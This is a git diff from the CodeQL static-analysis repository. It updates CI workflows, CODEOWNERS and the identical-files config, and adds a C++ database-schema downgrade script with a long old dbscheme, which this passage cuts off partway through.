diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
index ff73bcb4e7b..7fd96b8d941 100644
--- a/.devcontainer/devcontainer.json
+++ b/.devcontainer/devcontainer.json
@@ -3,6 +3,8 @@
     "rust-lang.rust",
     "bungcip.better-toml",
     "github.vscode-codeql",
+    "hbenl.vscode-test-explorer",
+    "ms-vscode.test-adapter-converter",
     "slevesque.vscode-zipexplorer"
   ],
   "settings": {
diff --git a/.github/labeler.yml b/.github/labeler.yml
index b8b2419b276..1dc166d6b44 100644
--- a/.github/labeler.yml
+++ b/.github/labeler.yml
@@ -11,7 +11,7 @@ Java:
   - change-notes/**/*java.*
 
 JS:
-  - javascript/**/*
+  - any: [ 'javascript/**/*', '!javascript/ql/experimental/adaptivethreatmodeling/**/*' ]
   - change-notes/**/*javascript*
 
 Python:
diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
index 912afffdb77..73826e30f9e 100644
--- a/.github/workflows/codeql-analysis.yml
+++ b/.github/workflows/codeql-analysis.yml
@@ -30,7 +30,7 @@ jobs:
     - name: Setup dotnet
       uses: actions/setup-dotnet@v2
       with:
-        dotnet-version: 6.0.101
+        dotnet-version: 6.0.202
 
     - name: Checkout repository
       uses: actions/checkout@v3
diff --git a/.github/workflows/csv-coverage-metrics.yml b/.github/workflows/csv-coverage-metrics.yml
index a48bbc4def6..7778221dc2f 100644
--- a/.github/workflows/csv-coverage-metrics.yml
+++ b/.github/workflows/csv-coverage-metrics.yml
@@ -38,7 +38,7 @@ jobs:
           path: metrics-java.sarif
           retention-days: 20
       - name: Upload SARIF file
-        uses: github/codeql-action/upload-sarif@v1
+        uses: github/codeql-action/upload-sarif@main
         with:
           sarif_file: metrics-java.sarif
   
@@ -65,6 +65,6 @@ jobs:
           path: metrics-csharp.sarif
           retention-days: 20
       - name: Upload SARIF file
-        uses: github/codeql-action/upload-sarif@v1
+        uses: github/codeql-action/upload-sarif@main
         with:
           sarif_file: metrics-csharp.sarif
diff --git a/.github/workflows/query-list.yml b/.github/workflows/query-list.yml
index c6ff0aa1153..f8f2d451adb 100644
--- a/.github/workflows/query-list.yml
+++ b/.github/workflows/query-list.yml
@@ -30,20 +30,15 @@ jobs:
       with:
         python-version: 3.8
     - name: Download CodeQL CLI
-      uses: dsaltares/fetch-gh-release-asset@aa37ae5c44d3c9820bc12fe675e8670ecd93bd1c
-      with:
-        repo: "github/codeql-cli-binaries"
-        version: "latest"
-        file: "codeql-linux64.zip"
-        token: ${{ secrets.GITHUB_TOKEN }}
+      # Look under the `codeql` directory, as this is where we checked out the `github/codeql` repo
+      uses: ./codeql/.github/actions/fetch-codeql
     - name: Unzip CodeQL CLI
       run: unzip -d codeql-cli codeql-linux64.zip
     - name: Build code scanning query list
       run: |
-        PATH="$PATH:codeql-cli/codeql" python codeql/misc/scripts/generate-code-scanning-query-list.py > code-scanning-query-list.csv
+        python codeql/misc/scripts/generate-code-scanning-query-list.py > code-scanning-query-list.csv
     - name: Upload code scanning query list
       uses: actions/upload-artifact@v3
       with:
         name: code-scanning-query-list
         path: code-scanning-query-list.csv
-    
diff --git a/.github/workflows/swift-codegen.yml b/.github/workflows/swift-codegen.yml
index 25485913efd..ded763f8dbb 100644
--- a/.github/workflows/swift-codegen.yml
+++ b/.github/workflows/swift-codegen.yml
@@ -18,8 +18,16 @@ jobs:
       - name: Run unit tests
         run: |
           bazel test //swift/codegen/test --test_output=errors
-      - name: Check that code was generated
+      - name: Check that QL generated code was checked in
         run: |
           bazel run //swift/codegen
           git add swift
           git diff --exit-code --stat HEAD
+      - name: Generate C++ files
+        run: |
+          bazel run //swift/codegen:trapgen -- --cpp-output=$PWD/swift-generated-headers
+          bazel run //swift/codegen:cppgen -- --cpp-output=$PWD/swift-generated-headers
+      - uses: actions/upload-artifact@v3
+        with:
+          name: swift-generated-headers
+          path: swift-generated-headers/*.h
diff --git a/.gitignore b/.gitignore
index 5642399a5f6..9dd2effe951 100644
--- a/.gitignore
+++ b/.gitignore
@@ -37,5 +37,8 @@ csharp/extractor/Semmle.Extraction.CSharp.Driver/Properties/launchSettings.json
 # links created by bazel
 /bazel-*
 
+# local bazel options
+/local.bazelrc
+
 # CLion project files
 /.clwb
diff --git a/CODEOWNERS b/CODEOWNERS
index ac59130db0a..5ee67c52fbc 100644
--- a/CODEOWNERS
+++ b/CODEOWNERS
@@ -4,6 +4,9 @@
 /javascript/ @github/codeql-javascript
 /python/ @github/codeql-python
 /ruby/ @github/codeql-ruby
+/swift/ @github/codeql-c
+/java/kotlin-extractor/ @github/codeql-kotlin
+/java/kotlin-explorer/ @github/codeql-kotlin
 
 # ML-powered queries
 /javascript/ql/experimental/adaptivethreatmodeling/ @github/codeql-ml-powered-queries-reviewers
diff --git a/config/identical-files.json b/config/identical-files.json
index 2ff65c453f0..f73a333b828 100644
--- a/config/identical-files.json
+++ b/config/identical-files.json
@@ -475,20 +475,23 @@
     "python/ql/lib/semmle/python/security/internal/SensitiveDataHeuristics.qll",
     "ruby/ql/lib/codeql/ruby/security/internal/SensitiveDataHeuristics.qll"
   ],
-  "ReDoS Util Python/JS/Ruby": [
+  "ReDoS Util Python/JS/Ruby/Java": [
     "javascript/ql/lib/semmle/javascript/security/performance/ReDoSUtil.qll",
     "python/ql/lib/semmle/python/security/performance/ReDoSUtil.qll",
-    "ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtil.qll"
+    "ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtil.qll",
+    "java/ql/lib/semmle/code/java/security/performance/ReDoSUtil.qll"
   ],
-  "ReDoS Exponential Python/JS/Ruby": [
+  "ReDoS Exponential Python/JS/Ruby/Java": [
     "javascript/ql/lib/semmle/javascript/security/performance/ExponentialBackTracking.qll",
     "python/ql/lib/semmle/python/security/performance/ExponentialBackTracking.qll",
-    "ruby/ql/lib/codeql/ruby/security/performance/ExponentialBackTracking.qll"
+    "ruby/ql/lib/codeql/ruby/security/performance/ExponentialBackTracking.qll",
+    "java/ql/lib/semmle/code/java/security/performance/ExponentialBackTracking.qll"
   ],
-  "ReDoS Polynomial Python/JS/Ruby": [
+  "ReDoS Polynomial Python/JS/Ruby/Java": [
     "javascript/ql/lib/semmle/javascript/security/performance/SuperlinearBackTracking.qll",
     "python/ql/lib/semmle/python/security/performance/SuperlinearBackTracking.qll",
-    "ruby/ql/lib/codeql/ruby/security/performance/SuperlinearBackTracking.qll"
+    "ruby/ql/lib/codeql/ruby/security/performance/SuperlinearBackTracking.qll",
+    "java/ql/lib/semmle/code/java/security/performance/SuperlinearBackTracking.qll"
   ],
   "BadTagFilterQuery Python/JS/Ruby": [
     "javascript/ql/lib/semmle/javascript/security/BadTagFilterQuery.qll",
@@ -550,5 +553,9 @@
   "HttpToFileAccessCustomizations JS/Ruby": [
     "javascript/ql/lib/semmle/javascript/security/dataflow/HttpToFileAccessCustomizations.qll",
     "ruby/ql/lib/codeql/ruby/security/HttpToFileAccessCustomizations.qll"
+  ],
+  "Typo database": [
+    "javascript/ql/src/Expressions/TypoDatabase.qll",
+    "ql/ql/src/codeql_ql/style/TypoDatabase.qll"
   ]
 }
diff --git a/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/exprparents.ql b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/exprparents.ql
new file mode 100644
index 00000000000..baddd72c144
--- /dev/null
+++ b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/exprparents.ql
@@ -0,0 +1,21 @@
+class Element extends @element {
+  string toString() { none() }
+}
+
+class Expr extends @expr {
+  string toString() { none() }
+}
+
+class Stmt extends @stmt {
+  string toString() { none() }
+}
+
+predicate isStmtWithInitializer(Stmt stmt) {
+  exists(int kind | stmts(stmt, kind, _) | kind = 2 or kind = 11 or kind = 35)
+}
+
+from Expr child, int index, int index_new, Element parent
+where
+  exprparents(child, index, parent) and
+  if isStmtWithInitializer(parent) then index_new = index - 1 else index_new = index
+select child, index_new, parent
diff --git a/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/old.dbscheme b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/old.dbscheme
new file mode 100644
index 00000000000..cf72c8898d1
--- /dev/null
+++ b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/old.dbscheme
@@ -0,0 +1,2111 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+    /**
+     * An invocation of the compiler. Note that more than one file may
+     * be compiled per invocation. For example, this command compiles
+     * three source files:
+     *
+     *   gcc -c f1.c f2.c f3.c
+     */
+    unique int id : @compilation,
+    string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | *path to extractor*
+ * 1   | `--mimic`
+ * 2   | `/usr/bin/gcc`
+ * 3   | `-c`
+ * 4   | f1.c
+ * 5   | f2.c
+ * 6   | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+    int id : @compilation ref,
+    int num : int ref,
+    string arg : string ref
+);
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | f1.c
+ * 1   | f2.c
+ * 2   | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+    int id : @compilation ref,
+    int num : int ref,
+    int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1    | CPU seconds used by the extractor frontend
+ * 2    | Elapsed seconds during the extractor frontend
+ * 3    | CPU seconds used by the extractor backend
+ * 4    | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+    int id : @compilation ref,
+    int num : int ref,
+    /* kind:
+       1 = frontend_cpu_seconds
+       2 = frontend_elapsed_seconds
+       3 = extractor_cpu_seconds
+       4 = extractor_elapsed_seconds
+    */
+    int kind : int ref,
+    float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+    int diagnostic : @diagnostic ref,
+    int compilation : @compilation ref,
+    int file_number : int ref,
+    int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+    int id : @externalDataElement,
+    string path : string ref,
+    int column: int ref,
+    string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+    unique int id: @external_package,
+    string namespace : string ref,
+    string package_name : string ref,
+    string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+    int fileid : @file ref,
+    int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+    unique int id : @svnentry,
+    string revision : string ref,
+    string author : string ref,
+    date revisionDate : date ref,
+    int changeSize : int ref
+)
+
+svnaffectedfiles(
+    int id : @svnentry ref,
+    int file : @file ref,
+    string action : string ref
+)
+
+svnentrymsg(
+    unique int id : @svnentry ref,
+    string message : string ref
+)
+
+svnchurn(
+    int commit : @svnentry ref,
+    int file : @file ref,
+    int addedLines : int ref,
+    int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+    /** The location of an element that is not an expression or a statement. */
+    unique int id: @location_default,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+    /** The location of a statement. */
+    unique int id: @location_stmt,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+    /** The location of an expression. */
+    unique int id: @location_expr,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+    int element_id: @sourceline ref,
+    int num_lines: int ref,
+    int num_code: int ref,
+    int num_comment: int ref
+);
+
+diagnostics(
+    unique int id: @diagnostic,
+    int severity: int ref,
+    string error_tag: string ref,
+    string error_message: string ref,
+    string full_error_message: string ref,
+    int location: @location_default ref
+);
+
+files(
+    unique int id: @file,
+    string name: string ref
+);
+
+folders(
+    unique int id: @folder,
+    string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+    int parent: @container ref,
+    unique int child: @container ref
+);
+
+fileannotations(
+    int id: @file ref,
+    int kind: int ref,
+    string name: string ref,
+    string value: string ref
+);
+
+inmacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+/*
+  case @macroinvocations.kind of
+    1 = macro expansion
+  | 2 = other macro reference
+  ;
+*/
+macroinvocations(
+    unique int id: @macroinvocation,
+    int macro_id: @ppd_define ref,
+    int location: @location_default ref,
+    int kind: int ref
+);
+
+macroparent(
+    unique int id: @macroinvocation ref,
+    int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+    int id: @macroinvocation ref,
+    int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+/*
+  case @function.kind of
+    1 = normal
+  | 2 = constructor
+  | 3 = destructor
+  | 4 = conversion
+  | 5 = operator
+  | 6 = builtin     // GCC built-in functions, e.g. __builtin___memcpy_chk
+  ;
+*/
+functions(
+    unique int id: @function,
+    string name: string ref,
+    int kind: int ref
+);
+
+function_entry_point(int id: @function ref, unique int entry_point: @stmt ref);
+
+function_return_type(int id: @function ref, int return_type: @type ref);
+
+/** If `function` is a coroutine, then this gives the
+    std::experimental::resumable_traits instance associated with it,
+    and the variables representing the `handle` and `promise` for it. */
+coroutine(
+  unique int function: @function ref,
+  int traits: @type ref,
+  int handle: @variable ref,
+  int promise: @variable ref
+);
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+  unique int function: @function ref,
+  int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+  unique int function: @function ref,
+  int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+member_function_this_type(unique int id: @function ref, int this_type: @type ref);
+
+#keyset[id, type_id]
+fun_decls(
+    int id: @fun_decl,
+    int function: @function ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+    int id: @fun_decl ref,
+    string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+    int fun_decl: @fun_decl ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+    int fun_decl: @fun_decl ref,
+    int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+    unique int fun_decl: @fun_decl ref,
+    int typedeftype_id: @usertype ref
+);
+
+param_decl_bind(
+    unique int id: @var_decl ref,
+    int index: int ref,
+    int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+    int id: @var_decl,
+    int variable: @variable ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_decl_specifiers(
+    int id: @var_decl ref,
+    string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+
+type_decls(
+    unique int id: @type_decl,
+    int type_id: @type ref,
+    int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+    unique int type_decl: @type_decl ref
+);
+
+namespace_decls(
+    unique int id: @namespace_decl,
+    int namespace_id: @namespace ref,
+    int location: @location_default ref,
+    int bodylocation: @location_default ref
+);
+
+usings(
+    unique int id: @using,
+    int element_id: @element ref,
+    int location: @location_default ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+    int parent: @element ref,
+    int child: @using ref
+);
+
+static_asserts(
+    unique int id: @static_assert,
+    int condition : @expr ref,
+    string message : string ref,
+    int location: @location_default ref,
+    int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+    int id: @parameter,
+    int function: @functionorblock ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+overrides(int new: @function ref, int old: @function ref);
+
+#keyset[id, type_id]
+membervariables(
+    int id: @membervariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+    int id: @globalvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+    int id: @localvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+autoderivation(
+    unique int var: @variable ref,
+    int derivation_type: @type ref
+);
+
+enumconstants(
+    unique int id: @enumconstant,
+    int parent: @usertype ref,
+    int index: int ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/*
+  Built-in types are the fundamental types, e.g., integral, floating, and void.
+
+  case @builtintype.kind of
+    1 = error
+  | 2 = unknown
+  | 3 = void
+  | 4 = boolean
+  | 5 = char
+  | 6 = unsigned_char
+  | 7 = signed_char
+  | 8 = short
+  | 9 = unsigned_short
+  | 10 = signed_short
+  | 11 = int
+  | 12 = unsigned_int
+  | 13 = signed_int
+  | 14 = long
+  | 15 = unsigned_long
+  | 16 = signed_long
+  | 17 = long_long
+  | 18 = unsigned_long_long
+  | 19 = signed_long_long
+  | 20 = __int8                 // Microsoft-specific
+  | 21 = __int16                // Microsoft-specific
+  | 22 = __int32                // Microsoft-specific
+  | 23 = __int64                // Microsoft-specific
+  | 24 = float
+  | 25 = double
+  | 26 = long_double
+  | 27 = _Complex_float         // C99-specific
+  | 28 = _Complex_double        // C99-specific
+  | 29 = _Complex_long double   // C99-specific
+  | 30 = _Imaginary_float       // C99-specific
+  | 31 = _Imaginary_double      // C99-specific
+  | 32 = _Imaginary_long_double // C99-specific
+  | 33 = wchar_t                // Microsoft-specific
+  | 34 = decltype_nullptr       // C++11
+  | 35 = __int128
+  | 36 = unsigned___int128
+  | 37 = signed___int128
+  | 38 = __float128
+  | 39 = _Complex___float128
+  | 40 = _Decimal32
+  | 41 = _Decimal64
+  | 42 = _Decimal128
+  | 43 = char16_t
+  | 44 = char32_t
+  | 45 = _Float32
+  | 46 = _Float32x
+  | 47 = _Float64
+  | 48 = _Float64x
+  | 49 = _Float128
+  | 50 = _Float128x
+  | 51 = char8_t
+  ;
+*/
+builtintypes(
+    unique int id: @builtintype,
+    string name: string ref,
+    int kind: int ref,
+    int size: int ref,
+    int sign: int ref,
+    int alignment: int ref
+);
+
+/*
+  Derived types are types that are directly derived from existing types and
+  point to, refer to, transform type data to return a new type.
+
+  case @derivedtype.kind of
+    1 = pointer
+  | 2 = reference
+  | 3 = type_with_specifiers
+  | 4 = array
+  | 5 = gnu_vector
+  | 6 = routineptr
+  | 7 = routinereference
+  | 8 = rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+  | 10 = block
+  ;
+*/
+derivedtypes(
+    unique int id: @derivedtype,
+    string name: string ref,
+    int kind: int ref,
+    int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+    int size: int ref,
+    int alignment: int ref);
+
+arraysizes(
+    unique int id: @derivedtype ref,
+    int num_elements: int ref,
+    int bytesize: int ref,
+    int alignment: int ref
+);
+
+typedefbase(
+    unique int id: @usertype ref,
+    int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator.  For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * would change the semantics of this decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+#keyset[id, expr]
+decltypes(
+    int id: @decltype,
+    int expr: @expr ref,
+    int base_type: @type ref,
+    boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+  case @usertype.kind of
+    1 = struct
+  | 2 = class
+  | 3 = union
+  | 4 = enum
+  | 5 = typedef                       // classic C: typedef typedef type name
+  | 6 = template
+  | 7 = template_parameter
+  | 8 = template_template_parameter
+  | 9 = proxy_class                   // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+  | 13 = scoped_enum
+  | 14 = using_alias                  // a using name = type style typedef
+  ;
+*/
+usertypes(
+    unique int id: @usertype,
+    string name: string ref,
+    int kind: int ref
+);
+
+usertypesize(
+    unique int id: @usertype ref,
+    int size: int ref,
+    int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+    unique int id: @usertype ref,
+    string uuid: string ref
+);
+
+mangled_name(
+    unique int id: @declaration ref,
+    int mangled_name : @mangledname
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+    int to: @usertype ref,
+    int from: @usertype ref
+);
+class_template_argument(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+class_template_argument_value(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_proxy_class_for(
+    unique int id: @usertype ref,
+    unique int templ_param_id: @usertype ref
+);
+
+type_mentions(
+    unique int id: @type_mention,
+    int type_id: @type ref,
+    int location: @location ref,
+    // a_symbol_reference_kind from the EDG frontend.  See symbol_ref.h there.
+    int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+    unique int to: @function ref,
+    int from: @function ref
+);
+function_template_argument(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+function_template_argument_value(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+    unique int to: @variable ref,
+    int from: @variable ref
+);
+variable_template_argument(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+variable_template_argument_value(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+/*
+  Fixed point types
+  precision(1) = short, precision(2) = default, precision(3) = long
+  is_unsigned(1) = unsigned is_unsigned(2) = signed
+  is_fract_type(1) = declared with _Fract
+  saturating(1) = declared with _Sat
+*/
+/* TODO
+fixedpointtypes(
+    unique int id: @fixedpointtype,
+    int precision: int ref,
+    int is_unsigned: int ref,
+    int is_fract_type: int ref,
+    int saturating: int ref);
+*/
+
+routinetypes(
+    unique int id: @routinetype,
+    int return_type: @type ref
+);
+
+routinetypeargs(
+    int routine: @routinetype ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+ptrtomembers(
+    unique int id: @ptrtomember,
+    int type_id: @type ref,
+    int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+    "public",
+    "protected",
+    "private",
+
+    "const",
+    "volatile",
+    "static",
+
+    "pure",
+    "virtual",
+    "sealed", // Microsoft
+    "__interface", // Microsoft
+    "inline",
+    "explicit",
+
+    "near", // near far extension
+    "far", // near far extension
+    "__ptr32", // Microsoft
+    "__ptr64", // Microsoft
+    "__sptr", // Microsoft
+    "__uptr", // Microsoft
+    "dllimport", // Microsoft
+    "dllexport", // Microsoft
+    "thread", // Microsoft
+    "naked", // Microsoft
+    "microsoft_inline", // Microsoft
+    "forceinline", // Microsoft
+    "selectany", // Microsoft
+    "nothrow", // Microsoft
+    "novtable", // Microsoft
+    "noreturn", // Microsoft
+    "noinline", // Microsoft
+    "noalias", // Microsoft
+    "restrict", // Microsoft
+*/
+
+specifiers(
+    unique int id: @specifier,
+    unique string str: string ref
+);
+
+typespecifiers(
+    int type_id: @type ref,
+    int spec_id: @specifier ref
+);
+
+funspecifiers(
+    int func_id: @function ref,
+    int spec_id: @specifier ref
+);
+
+varspecifiers(
+    int var_id: @accessible ref,
+    int spec_id: @specifier ref
+);
+
+attributes(
+    unique int id: @attribute,
+    int kind: int ref,
+    string name: string ref,
+    string name_space: string ref,
+    int location: @location_default ref
+);
+
+case @attribute.kind of
+  0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+    unique int id: @attribute_arg,
+    int kind: int ref,
+    int attribute: @attribute ref,
+    int index: int ref,
+    int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+  0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+;
+
+attribute_arg_value(
+    unique int arg: @attribute_arg ref,
+    string value: string ref
+);
+attribute_arg_type(
+    unique int arg: @attribute_arg ref,
+    int type_id: @type ref
+);
+attribute_arg_name(
+    unique int arg: @attribute_arg ref,
+    string name: string ref
+);
+
+typeattributes(
+    int type_id: @type ref,
+    int spec_id: @attribute ref
+);
+
+funcattributes(
+    int func_id: @function ref,
+    int spec_id: @attribute ref
+);
+
+varattributes(
+    int var_id: @accessible ref,
+    int spec_id: @attribute ref
+);
+
+stmtattributes(
+    int stmt_id: @stmt ref,
+    int spec_id: @attribute ref
+);
+
+@type = @builtintype
+      | @derivedtype
+      | @usertype
+      /* TODO | @fixedpointtype */
+      | @routinetype
+      | @ptrtomember
+      | @decltype;
+
+unspecifiedtype(
+    unique int type_id: @type ref,
+    int unspecified_type_id: @type ref
+);
+
+member(
+    int parent: @type ref,
+    int index: int ref,
+    int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+    unique int child: @enclosingfunction_child ref,
+    int parent: @function ref
+);
+
+derivations(
+    unique int derivation: @derivation,
+    int sub: @type ref,
+    int index: int ref,
+    int super: @type ref,
+    int location: @location_default ref
+);
+
+derspecifiers(
+    int der_id: @derivation ref,
+    int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+    unique int der_id: @derivation ref,
+    int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+    int sub: @usertype ref,
+    int super: @usertype ref,
+    int offset: int ref
+);
+
+frienddecls(
